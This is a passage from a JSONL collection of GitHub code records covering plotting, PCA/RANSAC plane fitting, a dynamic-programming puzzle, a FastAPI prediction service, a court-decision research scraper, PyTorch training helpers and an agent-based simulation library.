10000, 100000, 500000])\n ax.spines['bottom'].set_linewidth(1.0)\n ax.spines['left'].set_linewidth(1.0)\n ax.spines['right'].set_linewidth(1.0)\n ax.spines['top'].set_linewidth(1.0)\n ax.grid(linestyle='-.')\n ax.legend(loc='upper right', prop=font_legend)\n if reduced_axis == 1:\n ax.set_xlabel('入度数')\n else:\n ax.set_xlabel('出度数')\n ax.set_ylabel(r'$\\log{n}$')\n plt.tight_layout(pad=1.1)\n return mplfig_to_npimage(fig)\n\ndegree_type = 'in' if reduced_axis == 1 else 'out'\nvideo_name = 'node_count_{}_degree.gif'.format(degree_type)\nanimation = VideoClip(make_frame, duration=10)\nanimation.write_gif(os.path.join(figure_folder, 'video', video_name), fps=fps)","repo_name":"YinqiangZhang/network_control","sub_path":"degree_count_video.py","file_name":"degree_count_video.py","file_ext":"py","file_size_in_byte":2742,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"38124598352","text":"#!/usr/bin/env python\nimport utils\nimport numpy\nimport time\nimport random\nimport matplotlib\n###YOUR IMPORTS HERE###\nfrom myutils import *\n###YOUR IMPORTS HERE###\n\ndef add_some_outliers(pc,num_outliers):\n pc = utils.add_outliers_centroid(pc, num_outliers, 0.75, 'uniform')\n random.shuffle(pc)\n return pc\n\ndef main():\n #Import the cloud\n pc = utils.load_pc('cloud_pca.csv')\n\n num_tests = 10\n fig = None\n\n e_pca = []\n e_ransac = []\n time_pca = []\n time_ransac = []\n n_outlier_pca = []\n n_outlier_ransac = []\n epson = .05\n num_outliers = 0\n for i in range(0,num_tests):\n pc = add_some_outliers(pc,10) #adding 10 new outliers for each test\n # fig = utils.view_pc([pc])\n\n ###YOUR CODE HERE###\n\n start = time.clock()\n pca_model = pca(pc)\n end = time.clock()\n time_pca.append(end-start)\n \n start = time.clock()\n ransac_model = ransac(pc,iteration = 500,lower_bound=100,N_to_fit = 3, epson = epson)\n end = time.clock()\n time_ransac.append(end-start)\n\n # fig = utils.draw_plane(fig,pca_model[1],pca_model[0],color = (1,0,0,0.3))\n # fig = utils.draw_plane(fig,ransac_model[1],ransac_model[0])\n \n sum_pca = 0\n sum_ransac = 0\n for pt in pc:\n error = error_plane(pt,pca_model)\n if error < epson:\n sum_pca = sum_pca + error\n error = error_plane(pt,ransac_model)\n if error < epson:\n sum_ransac = sum_ransac + error\n num_outliers = num_outliers + 10\n e_pca.append(float(sum_pca))\n e_ransac.append(float(sum_ransac))\n n_outlier_pca.append(num_outliers)\n n_outlier_ransac.append(num_outliers)\n # raw_input(\"Press enter to continue\")\n \n inlier = []\n outlier = [] \n for j in range(len(pc)):\n if error_plane(pc[j],pca_model) <= epson:\n inlier.append(pc[j])\n else:\n outlier.append(pc[j])\n fig1 = utils.view_pc([inlier],color='r')\n fig1 = utils.view_pc([outlier],fig1,color='b')\n fig1 = utils.draw_plane(fig1,pca_model[1],pca_model[0],color=(0,1,0,0.3))\n fig1.suptitle('PCA fitting')\n\n inlier = []\n outlier = [] \n for j in range(len(pc)):\n if error_plane(pc[j],ransac_model) <= epson:\n inlier.append(pc[j])\n else:\n outlier.append(pc[j])\n fig2 = utils.view_pc([inlier],color='r')\n fig2 = utils.view_pc([outlier],fig2,color='b')\n fig2 = utils.draw_plane(fig2,ransac_model[1],ransac_model[0],color=(0,1,0,0.3))\n fig2.suptitle('RANSAC fitting')\n \n fig3 = matplotlib.pyplot.figure()\n ax = fig3.add_subplot(111)\n ax.plot(n_outlier_pca, e_pca,label=\"PCA\")\n ax.plot(n_outlier_ransac, e_ransac,label=\"RANSAC\")\n ax.legend()\n ax.set_ylabel('Error')\n ax.set_xlabel('Numter of Outliers')\n matplotlib.pyplot.show()\n\n fig4 = matplotlib.pyplot.figure()\n ax = fig4.add_subplot(111)\n ax.plot(range(num_tests),time_pca,label=\"PCA\")\n ax.set_xlabel('Iteration')\n ax.set_ylabel('Computation time')\n ax.legend()\n matplotlib.pyplot.show()\n\n fig5 = matplotlib.pyplot.figure()\n ax = fig5.add_subplot(111)\n ax.plot(range(num_tests),time_ransac,label=\"RANSAC\")\n ax.set_xlabel('Iteration')\n ax.set_ylabel('Computation time')\n ax.legend()\n matplotlib.pyplot.show()\n \n # choice = raw_input(\"Save figures?(y/n)\\n\")\n # if choice == \"y\":\n # fig1.savefig(\"PCAvsRAN_PCA_Fitting.png\")\n # fig2.savefig(\"PCAvsRAN_RAN_Fitting.png\")\n # fig3.savefig(\"PCAvsRAN_Error_Outlier.png\")\n # fig4.savefig(\"PCAvsRAN_PCA_ComputationTime.png\")\n # fig5.savefig(\"PCAvsRAN_RAN_ComputationTime.png\")\n\n raw_input(\"Press enter to end:\")\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"jared12222/EECS-498-HW4","sub_path":"pca_vs_ransac.py","file_name":"pca_vs_ransac.py","file_ext":"py","file_size_in_byte":3828,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"7598811833","text":"\"\"\"\nBaekJoon - 1915번(가장 큰 정사각형)\nhttps://www.acmicpc.net/problem/1915 \n\n문제\nn×m의 0, 1로 된 배열이 있다. 이 배열에서 1로 된 가장 큰 정사각형의 크기를 구하는 프로그램을 작성하시오.\n0\t1\t0\t0\n0\t1\t1\t1\n1\t1\t1\t0\n0\t0\t1\t0\n위와 같은 예제에서는 가운데의 2×2 배열이 가장 큰 정사각형이다. \n\n입력\n첫째 줄에 n, m(1 ≤ n, m ≤ 1,000)이 주어진다. 다음 n개의 줄에는 m개의 숫자로 배열이 주어진다.\n\n출력\n첫째 줄에 가장 큰 정사각형의 넓이를 출력한다.\n\"\"\"\n\nfrom copy import deepcopy as dcp\nn, m = map(int, input().split()) \nalist = list() \nfor _ in range(n): \n alist.append(list(map(int, input())))\n\ndp_arr = dcp(alist) \nans = dp_arr[0][0] # (1, 1)부터 탐색할 것이므로 범위에 없는 (0, 0)을 초기값으로 저장.\n\nfor i in range(1, n): \n for j in range(1, m): \n if alist[i][j]: # 정사각형의 맨 오른쪽 아래 모서리를 포함한 정사각형의 최대 크기를 저장\n # 해당 영역의 왼쪽 위쪽, 대각선 위쪽의 값중 \n # 가장 최솟값이 곧 1로만 이루어진 정사각형 크기의 최댓값이므로 해당 크기 +1을 더함\n dp_arr[i][j] = min(dp_arr[i-1][j], dp_arr[i][j-1], dp_arr[i-1][j-1]) + 1 \n ans = max(ans, dp_arr[i][j]) # 매번마다 가장 큰 크기를 저장.\n\nprint(ans * ans) # 최댓값의 넓이를 출력","repo_name":"Woo-Dong/MJ_tutoring","sub_path":"1128/7_1915_BJ.py","file_name":"7_1915_BJ.py","file_ext":"py","file_size_in_byte":1443,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"27077209427","text":"from fastapi import FastAPI, Depends\r\nfrom fastapi.logger import logger as fastapi_logger\r\nimport uvicorn\r\nfrom pydantic import BaseModel\r\nimport joblib\r\n\r\n#####################DATI#################################################\r\n\r\n# struttura dati che ricalca gli input necessari al modello\r\nclass ModelInput(BaseModel):\r\n rd: float = 73721.61 # default il vslore medio\r\n admin: float = 121344.64 # default il vslore medio\r\n market: float = 211025.10 # default il vslore medio\r\n\r\n##########################################################################\r\n\r\napp = FastAPI(title='Profit API', \r\n description='''\r\n genera previsioni di futuri profitti sfruttando il modello. \r\n \r\n Autore Pietro Griolo'''\r\n )\r\n\r\n# caricare il modello come var globale all'avvio del servizio\r\n@app.on_event(\"startup\")\r\ndef on_startup():\r\n global model\r\n try:\r\n with open('profit.pkl', 'rb') as pickle:\r\n model = joblib.load(pickle)\r\n fastapi_logger.log(level=50, msg='Caricato il modello')\r\n except:\r\n fastapi_logger.log(50, \"Problema nel caricamento del modello\", exc_info=1)\r\n return model\r\n\r\n@app.get(\"/\")\r\ndef hello():\r\n return {\"<---- http://localhost:8000/docs ------>\"}\r\n\r\n# chiamata GET\r\n@app.get(\"/profit\")\r\nasync def get_sales(in_data: ModelInput=Depends()):\r\n try:\r\n X = [[in_data.rd, in_data.admin, in_data.market]]\r\n res = round(model.predict(X)[0], 2)\r\n return {\"Profit\": res}\r\n except:\r\n return {\"Result\": \"Errore\"} \r\n\r\n# chiamata POST\r\n@app.post(\"/profit\")\r\nasync def post_sales(in_data: ModelInput):\r\n try:\r\n X = [[in_data.rd, in_data.admin, in_data.market]]\r\n res = round(model.predict(X)[0], 2)\r\n return {\"Profit\": res}\r\n except:\r\n return {\"Result\": \"Errore\"} \r\n\r\n\r\nif __name__ == '__main__':\r\n uvicorn.run(\"main:app\", host=\"127.0.0.1\", port=8000, reload=True)\r\n","repo_name":"pg-88/VerificaAPI_Pietro_Grigolo","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1968,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"26976657405","text":"### tse electoral crime case decision scraper\n# this script downloads the case decisions for all candidacy cases at\n# the tse electoral court for municipal elections since 2008. each\n# decision is downloaded as an html file and saved to disk\n# developed by:\n# andre assumpcao\n# andre.assumpcao@gmail.com\n\n# import standard libraries\nfrom selenium import webdriver\nfrom selenium.webdriver.chrome.options import Options\nfrom selenium.webdriver.support.ui import WebDriverWait\nimport os\nimport pandas as pd\n\n# import third-party libraries\nimport tse\n\n# define chrome options\nCHROME_PATH = '/Applications/Google Chrome.app/Contents/MacOS/Google Chrome'\nCHROMEDRIVER_PATH = '/usr/local/bin/chromedriver'\n\n# set options\nchrome_options = Options()\nchrome_options.add_argument('--headless')\nchrome_options.add_argument('--window-size=1920,1080')\nchrome_options.binary_location = CHROME_PATH\n\n# open invisible browser\nbrowser = webdriver.Chrome(CHROMEDRIVER_PATH, options = chrome_options)\n\n# set implicit wait for page load\nbrowser.implicitly_wait(10)\n\n# import test dataset with 1,000 individuals\ncandidates = pd.read_csv('data/casedecision_list.csv')\n# candidates = candidates[\n# candidates['candidateID'].str.contains('(2012|2016)_', regex = True)\n# ]\n\n# create directory for html files\ntry:\n os.mkdir('html')\nexcept:\n pass\n\n# change directory to html files\nos.chdir('html')\n\n# load up scraper and prepare error catching list\nscrape = tse.scraper(browser)\nresults = []\n\n# transform dataset elements into list\nurls = candidates['url'].to_list()\nidentifiers = candidates['candidateID'].to_list()\ncandidates = [(a, b) for a, b in zip(urls, identifiers)]\n\n# run loop\nfor i, candidate in enumerate(candidates):\n\n # arguments for function\n arguments = {'url': candidate[0], 'filename': candidate[1], 'wait': 2}\n\n # run scraper\n absorb = scrape.decision(**arguments)\n results.append((arguments['filename'], absorb))\n\n # print progress\n if (i + 1) % 1000 == 0: print(str(i + 1) + ' / ' + str(len(candidates)))\n\n# save scraper outcomes\npd.DataFrame(results).to_csv('../data/casedecision_status.csv')\n\n# quit browser\nbrowser.quit()\n","repo_name":"aassumpcao/tseresearch","sub_path":"scripts/02_tse_decisionScraper.py","file_name":"02_tse_decisionScraper.py","file_ext":"py","file_size_in_byte":2150,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"43259851396","text":"'''\n(c) University of Liverpool 2020\n\nAll rights reserved.\n\n@author: neilswainston\n'''\n# pylint: disable=invalid-name\n# pylint: disable=wrong-import-order\nfrom liv_ms.data import rt\nimport pandas as pd\n\n\ndef get_rt_data(filename, num_spec=1e32, regen_stats=False):\n '''Get RT data.'''\n # Get spectra:\n df = pd.read_csv(filename)\n\n # Drop missing SMILES:\n df.rename(columns={'shikifactory compounds': 'name',\n 'Canonical SMILES': 'smiles'}, inplace=True)\n df.dropna(subset=['smiles'], inplace=True)\n\n # Add values:\n df['column values'] = [[2.1, 50.0, 1.8, 1.0] for _ in df.index]\n df['flow rate values'] = [[0.1] * 60 for _ in df.index]\n\n grad_terms = [[0.0, 0.0], [1.5, 0.0], [7.0, 1.0], [8.5, 1.0], [8.51, 0.0]]\n grad_vals = rt.get_timecourse_vals(list(zip(*grad_terms)))\n df['gradient values'] = [grad_vals for _ in df.index]\n\n return rt.get_stats(df)\n","repo_name":"neilswainston/liv-ms","sub_path":"liv_ms/data/rt/shikifactory.py","file_name":"shikifactory.py","file_ext":"py","file_size_in_byte":915,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"40659358456","text":"#1000 kes invest with 10% returns each\n#one year = 1000x1.1 \n# two years = 1000x 1.1 x 1.1\n#7 years ?\n#15years ?\n\nsavings=1000\nvar_growth_multiplier=1.1\nvar_seven_years=7\nvar_fifteen_years=15\n\n\n#calculate total for 7years\nvar_total_seven_year_return= savings*pow(var_growth_multiplier,var_seven_years)\nprint(\"total after seven years is : \"+ str(var_total_seven_year_return))\n\n\n\n#calculate total for 15 years\nvar_total_fifteen_year_return=savings*pow(var_growth_multiplier,var_fifteen_years)\nprint(\"total after fifteen years is : \"+ str(var_total_fifteen_year_return)) ","repo_name":"Maria-mbugua/study","sub_path":"20220125/test2.py","file_name":"test2.py","file_ext":"py","file_size_in_byte":568,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"20110451235","text":"import numpy as np\nimport torch\nimport torch.nn as nn\nfrom sklearn.metrics import accuracy_score\n\n\ndef train(model, criterion, optimizer, data_loader, device='cpu'):\n \"\"\"Training step\n\n Perform a training step over the entire training data (1 epoch of training)\n\n Parameters\n ----------\n model : :obj:`torch.nn.Module`\n Model\n criterion : :obj:`torch.nn.modules.loss`\n Loss function\n optimizer : :obj:`torch.optim`\n Optimizer\n data_loader : :obj:`torch.utils.data.dataloader.DataLoader`\n Training dataloader\n device : :obj:`str`, optional\n Device\n\n Returns\n -------\n loss : :obj:`float`\n Loss over entire training dataset\n accuracy : :obj:`float`\n Accuracy over entire training dataset\n\n \"\"\"\n model.train()\n loss = 0.\n accuracy = 0.\n for X, y in data_loader:\n X, y = X.to(device), y.to(device)\n optimizer.zero_grad()\n yprob = model(X)\n ls = criterion(yprob, y)\n ls.backward()\n optimizer.step()\n with torch.no_grad():\n y_pred = np.argmax(nn.Softmax(dim=1)(yprob).detach().cpu().numpy(), axis=1)\n loss += ls.item()\n accuracy += accuracy_score(y.cpu(), y_pred)\n loss /= len(data_loader)\n accuracy /= len(data_loader)\n return loss, accuracy\n\n\ndef evaluate(model, criterion, data_loader, device='cpu'):\n \"\"\"Evaluation step\n\n Perform an evaluation step over the entire training data\n\n Parameters\n ----------\n model : :obj:`torch.nn.Module`\n Model\n criterion : :obj:`torch.nn.modules.loss`\n Loss function\n data_loader : :obj:`torch.utils.data.dataloader.DataLoader`\n Evaluation dataloader\n device : :obj:`str`, optional\n Device\n\n Returns\n -------\n loss : :obj:`float`\n Loss over entire evaluation dataset\n accuracy : :obj:`float`\n Accuracy over entire evaluation dataset\n\n \"\"\"\n model.eval()\n loss = 0.\n accuracy = 0.\n for X, y in data_loader:\n X, y = X.to(device), y.to(device)\n with torch.no_grad(): # use no_grad to avoid making the computational graph...\n yprob = model(X)\n ls = criterion(yprob, y)\n y_pred = np.argmax(nn.Softmax(dim=1)(yprob).detach().cpu().numpy(), axis=1)\n loss += ls.item()\n accuracy += accuracy_score(y.cpu(), y_pred)\n loss /= len(data_loader)\n accuracy /= len(data_loader)\n return loss, accuracy\n\n\ndef classification(model, train_loader, valid_loader, epochs=1000, device='cpu'):\n \"\"\"Classifier\n\n Perform binary classification\n\n Parameters\n ----------\n model : :obj:`torch.nn.Module`\n Model\n train_loader : :obj:`torch.utils.data.dataloader.DataLoader`\n Training dataloader\n valid_loader : :obj:`torch.utils.data.dataloader.DataLoader`\n Validation dataloader\n epochs : :obj:`int`, optional\n Number of epochs\n device : :obj:`str`, optional\n Device\n \n \"\"\"\n bce_loss = nn.CrossEntropyLoss()\n optim = torch.optim.Adam(model.parameters(), lr=0.001, weight_decay=0.01)\n\n train_loss_history = np.zeros(epochs)\n valid_loss_history = np.zeros(epochs)\n train_acc_history = np.zeros(epochs)\n valid_acc_history = np.zeros(epochs)\n for i in range(epochs):\n train_loss, train_acc = train(model, bce_loss, optim, train_loader, device=device)\n valid_loss, valid_acc = evaluate(model, bce_loss, valid_loader, device=device)\n train_loss_history[i] = train_loss\n valid_loss_history[i] = valid_loss\n train_acc_history[i] = train_acc\n valid_acc_history[i] = valid_acc\n if i % 10 == 0:\n print(f'Epoch {i}, Training Loss {train_loss:.2f}, Training Accuracy {train_acc:.2f}, Validation Loss {valid_loss:.2f}, Test Accuracy {valid_acc:.2f}')\n \n return train_loss_history, valid_loss_history, train_acc_history, valid_acc_history\n\n","repo_name":"DIG-Kaust/MLgeoscience","sub_path":"labs/notebooks/WellLogFacies/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":3940,"program_lang":"python","lang":"en","doc_type":"code","stars":66,"dataset":"github-code","pt":"20"} +{"seq_id":"42643884436","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Oct 22 09:26:36 2020\n\n@author: prcohen\n\"\"\"\n\nimport numpy as np\nfrom numpy.random import default_rng\nrng = default_rng()\n\nimport pprint\n\nfrom functools import partial\nfrom inspect import signature\nimport aPRAM_utils as utils\n\n\n#______________________________________________________________________________\n\nclass Cohort():\n \"\"\" A cohort is defined by a selector expression which must be a WN (when needed)\n expression (see aPRAM_expressions). Cohorts may be dynamic or static.\n Dynamic cohorts are updated by re-evaluating the WN expression at each\n time step, whereas static cohort selectors are evaluated once at cohort creation time.\n\n It is a semantic error to use a Mod_Selector to define a Cohort. Explain why!\n \"\"\"\n\n def __init__(self, name, WN_obj, dynamic=True):\n self.name = name\n self.dynamic = dynamic\n self.selector = WN_obj\n self.selected = self.select() # select initial membership\n\n def select (self):\n if (not self.dynamic) and self.__dict__.get('selected') is not None:\n return self.selected\n\n else:\n if callable(self.selector): # e.g., a lambda expression\n self.selected = self.selector()\n elif hasattr(self.selector,'sexpr'): #i.e., a WN sexpr\n self.selected = self.selector.eval()\n else:\n raise TypeError (\"Param {self.name} updater must be callable or a WN expression\")\n\n self.members = np.where(self.selected)[0] # indices of rows that satisfy the selector\n self.size = len(self.members) # number of members\n return self.selected\n\n def get_members (self):\n return self.members\n\n def describe (self,level=0, print_selector = True):\n pp = pprint.PrettyPrinter(indent = 3 * level)\n indent0,indent1 = ' ' * level, ' ' * (level + 1)\n if self.size > 15:\n members = f\"[{', '.join([str(i) for i in self.members[0:3]])} ... {', '.join([str(i) for i in self.members[-3:]])}]\"\n else:\n members = f\"{self.members}\"\n if print_selector:\n selector_str = f'{indent1}selector: {pprint.pformat(self.selector)}\\n{indent1}selected: {self.selected}'\n else:\n selector_str = \"\"\n return (\n f'{indent0}Cohort:\\n'\n f'{indent1}name {self.name}\\n'\n f'{indent1}size: {self.size}\\n'\n f'{indent1}members: {members}'\n f'\\n{selector_str}'\n )\n\n\n#______________________________________________________________________________\n\nclass Column ():\n \"\"\" Early versions of aPRAM treated the population as a numpy two-dimensional\n array, but the overhead of operations on such a large structure increased\n runtimes, so now each column is its own object, and this also lets us define\n methods on columns.\"\"\"\n\n def __init__(self,name,values):\n\n self.aPRAM_class = 'Column'\n self.name = name\n self.val = values\n\n \"\"\" Elementary comparison operators for columns. \"\"\"\n self.eq = partial (self.op, fn = (lambda x,y : x == y) )\n self.ge = partial (self.op, fn = (lambda x,y : x >= y) )\n self.le = partial (self.op, fn = (lambda x,y : x <= y) )\n self.ne = partial (self.op, fn = (lambda x,y : x != y) )\n self.gt = partial (self.op, fn = (lambda x,y : x > y) )\n self.lt = partial (self.op, fn = (lambda x,y : x < y) )\n\n\n def op (self,y,fn):\n if callable (y):\n return fn(self.val,y.__call__())\n else:\n return fn(self.val,y)\n\n def assign (self,val,*args,**kwargs):\n selected = kwargs.get('selected')\n if selected is None:\n self.val[:] = val\n else:\n val_type= type(val)\n if val_type in [int,bool,float]:\n self.val[selected] = val\n elif val_type == np.ndarray:\n self.val[selected] = val[selected]\n else:\n raise ValueError (f\"Trying to assign something other than int, bool, float, or numpy array to {self.name}\")\n\n\n\n def get_val (self):\n return self.val\n\n def itself (self): return self\n\n def describe (self,level=0):\n indent0,indent1 = ' ' * level, ' ' * (level + 1)\n return (\n f'{indent0}Column:\\n'\n f'{indent1}name {self.name}\\n'\n f'{indent1}val: {self.val}'\n )\n\n\n#______________________________________________________________________________\n\n\nclass Param ():\n \"\"\"\n Whereas Columns must be arrays of length pop.size that represent\n agent attributes, Params can be anything: the transmission probability\n for a communicable disease, or a dict that maps age levels to severity of\n disease, or average rainfall, etc.\n\n Params require a name, an initial value and an optional updater,\n which must be a WN expression. If the update function refers to the\n parameter itself, then it must be wrapped in a lambda.\n\n Examples:\n p = Param('p', 2.1)\n # self.update returns 2.1\n\n q = Param('q', 1, updater = WN((lambda : q.val * 2)))\n # q.update() doubles its value. However, the updater must be a lambda\n # because otherwise q refers to q.val in its own definition.\n \"\"\"\n def __init__(self, name, val, updater=None):\n self.name = name\n self.val = val\n self.updater = updater\n\n def update (self):\n if self.updater is not None:\n if callable(self.updater):\n self.val = self.updater()\n elif hasattr(self.updater,'sexpr'): # WN expression\n self.val = self.updater.eval()\n else:\n raise TypeError (f\"Param {self.name} updater must be callable or a WN expression\")\n\n def assign (self,val):\n self.val = val\n\n def get_val (self):\n return self.val\n\n def itself (self): return self\n\n def describe (self,level=0):\n indent0,indent1 = ' ' * level, ' ' * (level + 1)\n return (\n f'{indent0}Param:\\n'\n f'{indent1}Name {self.name}\\n'\n f'{indent1}Val: {self.val}'\n )\n\n#______________________________________________________________________________\n\nclass Counter ():\n def __init__(self, name, initial_value=0, increment = 1):\n self.aPram_class = 'Counter'\n self.name = name\n self.val = initial_value\n self.increment = increment\n\n def advance (self):\n self.val += self.increment\n\n def assign (self, val):\n self.val = val\n\n def get_val (self): return self.val\n\n def describe (self,level=0):\n indent0,indent1 = ' ' * level, ' ' * (level + 1)\n return (\n f'{indent0}Counter:\\n'\n f'{indent1}Name {self.name}\\n'\n f'{indent1}Val: {self.val}'\n )\n# #______________________________________________________________________________\n\n\n# class Mod_Selector ():\n# \"\"\"\n# A Mod can have k alternative mod_lists. When k > 1 then a Mod_Selector is\n# used to assign one mod_list to each agent in a cohort. A Mod_Selector\n# returns a multinomial distribution self.selected over the integers\n# 0 ... k-1 with probabilities p0...pk-1. The argument prob_spec must be a\n# list of k probabilities or a sexpr that returns a list of k probabilities.\n\n# A Mod_Selector needs a cohort argument because 1) the size of self.selected\n# must equal the cohort size, 2) the select method needs to know whether the\n# cohort size has changed.\n# \"\"\"\n\n# def __init__(self, cohort, prob_spec, k, report=False):\n\n# from aPRAM_settings import pop # need this because we need pop.size\n# self.aPram_class = 'Mod_Selector'\n\n# self.cohort = cohort\n# self.prob_spec = prob_spec\n# self.k = k\n# self.n0 = cohort.size # n0 is the last value of cohort size\n# self.n1 = cohort.size # n1 is the current value of cohort_size\n# self.report = report\n\n# \"\"\" prob_spec must be either a list of probabilities, a Param whose\n# value is a list of probabilities, or a callable -- a method or lambda or\n# function -- that returns a list of probabilities. \"\"\"\n\n# if hasattr(self.prob_spec,'sexpr'): # it's a WN expression\n# self.prob_fn = (lambda : self.prob_spec.eval())\n# self.probs = utils.check_probs(self.prob_fn())\n\n# elif callable(self.prob_spec):\n# self.prob_fn = prob_spec\n# self.probs = utils.check_probs(self.prob_fn())\n\n# else:\n# self.prob_fn = None\n# self.probs = utils.check_probs(prob_spec)\n\n\n\n# \"\"\" Get the initial self.selected. At this point, the cohort size could\n# be zero, or very small, which will cause problems if later we try to resample\n# from self.selected. Furthermore, the initial cohort size might be tiny, which\n# again would cause infidelity to probabilities when we resample. A possibly\n# wasteful solution is to have self.selected_initial be the size of the population\n# and to resample from it.\n# \"\"\"\n\n# self.selected_initial = rng.choice(\n# self.k, # integers from 0...k-1\n# p = self.probs, # k probabilities\n# size = pop.size,\n# replace=True).astype(np.int8)\n\n# self.selected = rng.choice(self.selected_initial, size = self.n1, replace = True)\n\n# if self.report: print (f\"In Mod_Selector: probs: {self.probs}, self.selected: {self.selected[:20]}...\\n \")\n\n# def select (self):\n# \"\"\" Rebuilding a multinomial distribution self.selected is the most\n# expensive operation in aPRAM, so it's worth being careful about when to do it:\n\n# • If self.probs is static, meaning it is defined as a list of\n# probabilities when the Mod_Selector is defined, then we only build\n# self.selected once. We might choose to roll self.selected before\n# selection to ensure that agents can have different choices on\n# subsequent invocations of a Mod.\n\n# • If self.probs is static but the cohort size changes to n, and\n# self.selected exists, then we can resample with replacement to get a\n# sample of n from self.selected. This is much cheaper than rebuilding\n# self.selected when n is relatively small, but is cheaper even when\n# resampling a sample of the size of the original self.selected.\n\n# • Rebuilding self.selected is necessary only when self.probs is dynamic,\n# that is, a callable that needs to be updated at each time step.\n\n# Defaults: If self.probs is static, build self.selected and 1) if the\n# cohort size changes, resample from self.selected, otherwise 2) roll self.selected.\n# If self.probs is dynamic, rebuild self.selected.\n# \"\"\"\n# self.n1 = self.cohort.size # get current cohort size\n\n# if self.prob_fn is None: # probabilities are static, so roll or resample M\n# if self.report: print(f\"Static probs {self.probs} n0 = {self.n0}, n1 = {self.n1}\")\n\n# if self.n0 == self.n1: # last cohort size equals current cohort size\n# self.roll() # no need to resample from M, simply roll it\n# if self.report: print (\"Rolling self.selected\\n\")\n\n# else:\n# self.selected = rng.choice(self.selected_initial, size = self.n1, replace = True)\n# # construct a new self.selected for new sample size by resampling from the previous one\n# if self.report: print (\"Resampling self.selected\\n\")\n\n# else: # probabilities are dynamic\n# self.probs = utils.check_probs(self.prob_fn()) # check that the changed probs are legit\n# #old: self.probs = utils.check_probs(ap.ev(self.prob_fn)) # check that the changed probs are legit\n# self.selected = rng.choice(self.k, p = self.probs, size = self.n1, replace=True).astype(np.int8)\n# # int8 is much faster and we won't have > 256 modifications!\n# if self.report: print (f\"Rebuilding self.selected, probs = {self.probs}\\n\")\n\n# # set n0 to n1 so we can track whether sample size changes next time\n# self.n0 = self.n1\n\n# def roll (self):\n\n# \"\"\" Instead of reconstructing the selector with self.select it is much\n# faster to roll the selector, ensuring that each agent gets a new mod_list\n# on each time step, but not changing the selector itself.\"\"\"\n\n# self.selected = np.roll(self.selected, shift=rng.integers(10))\n\n# def describe (self,level=0):\n# pp = pprint.PrettyPrinter(indent = 3 * level)\n# indent0 = ' ' * level\n# indent1 = ' ' * (level + 1)\n# return (\n# f'{indent0}Mod_Selector:\\n'\n# f'{indent1}cohort: {self.cohort.name}\\n'\n# f'{indent1}prob_spec: {pprint.pformat(self.prob_spec)}\\n'\n# f'{indent1}prob_fn: {pprint.pformat(self.prob_fn)}\\n'\n# f'{indent1}probs: {self.probs}'\n# )\n\n#______________________________________________________________________________\n\n\nclass Mod_Selector ():\n \"\"\"\n A Mod can have k alternative mod_lists. When k > 1 then a Mod_Selector is\n used to assign one mod_list to each agent in a cohort. A Mod_Selector\n returns a multinomial distribution self.selected over the integers\n 0 ... k-1 with probabilities p0...pk-1. The argument prob_spec must be a\n list of k probabilities or a sexpr that returns a list of k probabilities.\n\n A Mod_Selector needs a cohort argument because 1) the size of self.selected\n must equal the cohort size, 2) the select method needs to know whether the\n cohort size has changed.\n \"\"\"\n\n def __init__(self, cohort, prob_spec, k, report=False):\n\n from aPRAM_settings import pop # need this because we need pop.size\n self.aPram_class = 'Mod_Selector'\n\n self.cohort = cohort\n self.prob_spec = prob_spec\n self.k = k\n self.n0 = cohort.size # n0 is the last value of cohort size\n self.n1 = cohort.size # n1 is the current value of cohort_size\n self.report = report\n \n \n def make_initial_selected (self):\n \n \"\"\" prob_spec must be either a list of probabilities, a Param whose\n value is a list of probabilities, or a callable -- a method or lambda or\n function -- that returns a list of probabilities. \"\"\"\n \n from aPRAM_settings import pop # need this because we need pop.size\n print (f\"pop.size: {pop.size}\")\n\n if hasattr(self.prob_spec,'sexpr'): # it's a WN expression\n self.prob_fn = (lambda : self.prob_spec.eval())\n self.probs = utils.check_probs(self.prob_fn())\n\n elif callable(self.prob_spec):\n self.prob_fn = self.prob_spec\n self.probs = utils.check_probs(self.prob_fn())\n\n else:\n self.prob_fn = None\n self.probs = utils.check_probs(self.prob_spec)\n\n\n \"\"\" Get the initial self.selected. At this point, the cohort size could\n be zero, or very small, which will cause problems if later we try to resample\n from self.selected. Furthermore, the initial cohort size might be tiny, which\n again would cause infidelity to probabilities when we resample. A possibly\n wasteful solution is to have self.selected_initial be the size of the population\n and to resample from it.\n \"\"\"\n\n self.selected_initial = rng.choice(\n self.k, # integers from 0...k-1\n p = self.probs, # k probabilities\n size = pop.size,\n replace=True).astype(np.int8)\n\n self.selected = rng.choice(self.selected_initial, size = self.n1, replace = True)\n\n if self.report: print (f\"In Mod_Selector: probs: {self.probs}, self.selected: {self.selected[:20]}...\\n \")\n\n def select (self):\n \"\"\" Rebuilding a multinomial distribution self.selected is the most\n expensive operation in aPRAM, so it's worth being careful about when to do it:\n\n • If self.probs is static, meaning it is defined as a list of\n probabilities when the Mod_Selector is defined, then we only build\n self.selected once. We might choose to roll self.selected before\n selection to ensure that agents can have different choices on\n subsequent invocations of a Mod.\n\n • If self.probs is static but the cohort size changes to n, and\n self.selected exists, then we can resample with replacement to get a\n sample of n from self.selected. This is much cheaper than rebuilding\n self.selected when n is relatively small, but is cheaper even when\n resampling a sample of the size of the original self.selected.\n\n • Rebuilding self.selected is necessary only when self.probs is dynamic,\n that is, a callable that needs to be updated at each time step.\n\n Defaults: If self.probs is static, build self.selected and 1) if the\n cohort size changes, resample from self.selected, otherwise 2) roll self.selected.\n If self.probs is dynamic, rebuild self.selected.\n \"\"\"\n self.n1 = self.cohort.size # get current cohort size\n\n if self.prob_fn is None: # probabilities are static, so roll or resample M\n if self.report: print(f\"Static probs {self.probs} n0 